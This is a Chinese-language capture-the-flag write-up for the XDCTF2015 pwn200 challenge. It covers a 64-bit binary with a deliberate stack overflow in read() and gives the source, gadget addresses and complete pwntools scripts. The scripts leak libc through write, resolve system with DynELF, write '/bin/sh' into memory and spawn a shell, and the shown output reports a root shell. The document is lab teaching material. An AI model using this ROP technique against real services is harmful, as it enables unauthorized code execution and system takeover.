源代码

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);		//这里存在明显的栈溢出
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

vuln()中有典型的栈溢出

编译:

gcc -fno-stack-protector -s pwn200.c -g -o pwn200

查看防护

python
>>> from pwn import *
>>> print ELF('pwn200').checksec()
[*] '/root/sploitfun/XDCTF2015/pwn200'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

运行

ncat -vc ./a.out -kl 127.0.0.1 4000

这题提供了二进制文件而没有提供 libc.so,而且也默认找不到

通过objdump -d pwn200 | less查找write和read的plt

0000000000400530 <write@plt>:
  400530:       ff 25 e2 0a 20 00       jmpq   *0x200ae2(%rip)        # 601018 <__gmon_start__@plt+0x200a98>
0000000000400560 <read@plt>:
  400560:       ff 25 ca 0a 20 00       jmpq   *0x200aca(%rip)        # 601030 <__gmon_start__@plt+0x200ab0>

通过ida_pro,查看init function中的通用gadget

.text:0000000000400790                 mov     rdx, r13
.text:0000000000400793                 mov     rsi, r14
.text:0000000000400796                 mov     edi, r15d
.text:0000000000400799                 call    qword ptr [r12+rbx*8]
.text:000000000040079D                 add     rbx, 1
.text:00000000004007A1                 cmp     rbx, rbp
.text:00000000004007A4                 jnz     short loc_400790
.text:00000000004007A6
.text:00000000004007A6 loc_4007A6:                             ; CODE XREF: init+36j
.text:00000000004007A6                 add     rsp, 8
.text:00000000004007AA                 pop     rbx
.text:00000000004007AB                 pop     rbp
.text:00000000004007AC                 pop     r12
.text:00000000004007AE                 pop     r13
.text:00000000004007B0                 pop     r14
.text:00000000004007B2                 pop     r15
.text:00000000004007B4                 retn

得到

gadget1 = 0x4007AA
gadget2 = 0x400790

通过ida_pro得出offset为0x70+8 = 120

ssize_t sub_40067D()
{
  char buf; // [sp+0h] [bp-70h]@1

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100uLL);
}

由于我们需要在第二个gadget运行完之后跳转到main方法中,而不是运行完0x400799就完事儿,就是说第二个gadget会从0x400790运行到0x4007B4那么我们就需要添加8*7个padding给第二个gadget中的pop使用,然后再添加rerurn addr

第一部分的exp代码

# coding:utf-8

from pwn import *

start_addr = 0x400590         #从ida_pro 的start函数中获得
pop_rdi = 0x4007b3          #ROPgadget --binary pwn200|less
write_got = 0x601018       #(1,dizhi ,8)
gadget1 = 0x4007AA          #从ida pro中的init方法中找到
gadget2 = 0x400790

io = process('./pwn200')
elf = ELF("./pwn200")
raw_input('#')
def leak(addr):
    payload = 'a' * 120
    payload += p64(gadget1)
    payload += p64(0)  # rbx=0
    payload += p64(1)  # rbp=1  call
    payload += p64(write_got)  # write
    payload += p64(8)  # read size
    payload += p64(addr)
    payload += p64(1)  # r15 read canshu
    payload += p64(gadget2)
    payload += "A"*8*7                  #非常重要,第二个gadget会从`0x400790`运行到`0x4007B4`那么我们就需要添加8*7个padding给第二个gadget中的pop使用
    payload += p64(start_addr)
    io.recvuntil("XDCTF2015~!\n")
    io.send(payload)
    content =  (io.recv(numb=8))
    log.info("%#x => %s" % (addr, (content or '').encode('hex')))
    return content

#print leak(0x400000)
d=DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system_addr = %#x", system_addr)

最终的exp代码

# coding:utf-8

from pwn import *

start_addr = 0x400590         #从ida_pro 的start函数中获得
pop_rdi = 0x4007b3          #ROPgadget --binary pwn200|less
write_got = 0x601018       #(1,dizhi ,8)
gadget1 = 0x4007AA          #从ida pro中的init方法中找到
gadget2 = 0x400790
read_got = 0x601030
binsh_addr = 0x601000

io = process('./pwn200')
elf = ELF("./pwn200")
raw_input('#')
def leak(addr):
    payload = 'a' * 120
    payload += p64(gadget1)
    payload += p64(0)  # rbx=0
    payload += p64(1)  # rbp=1  call
    payload += p64(write_got)  # write
    payload += p64(8)  # read size
    payload += p64(addr)
    payload += p64(1)  # r15 read canshu
    payload += p64(gadget2)
    payload += "A"*8*7                  #非常重要,第二个gadget会从`0x400790`运行到`0x4007B4`那么我们就需要添加8*7个padding给第二个gadget中的pop使用
    payload += p64(start_addr)
    io.recvuntil("XDCTF2015~!\n")
    io.send(payload)
    content =  (io.recv(numb=8))
    log.info("%#x => %s" % (addr, (content or '').encode('hex')))
    return content

#print leak(0x400000)
d=DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
log.info("system_addr = %#x", system_addr)


payload = 'a' * 120                                  #通过通用gadget来构造rop链来写入/bin/sh
payload += p64(gadget1)
payload += p64(0)  # rbx=0
payload += p64(1)  # rbp=1  call
payload += p64(read_got)  # read
payload += p64(8)  # read size
payload += p64(binsh_addr)
payload += p64(0)  # r15 read canshu
payload += p64(gadget2)
payload += '\x00' * 56
payload += p64(start_addr)

io.send(payload)
io.recvuntil("XDCTF2015~!\n")
io.send('/bin/sh\x00')

payload = "A" * 120                                  #构造rop链来调用system('/bin/sh')
payload += p64(pop_rdi)  # system("/bin/sh\x00")
payload += p64(binsh_addr)
payload += p64(system_addr)							#因为这次运行完system不用return到main方法了,所以也不用那56个padding了

io.send(payload)
io.interactive()

运行后的结果

[*] 0x7ffff7a20f1d => 73797374656d0074
[*] 0x7ffff7a18bc0 => 7032040000000000
[*] system_addr = 0x7ffff7a50270
[*] Switching to interactive mode
Welcome to XDCTF2015~!
$ id
uid=0(root) gid=0(root) 组=0(root)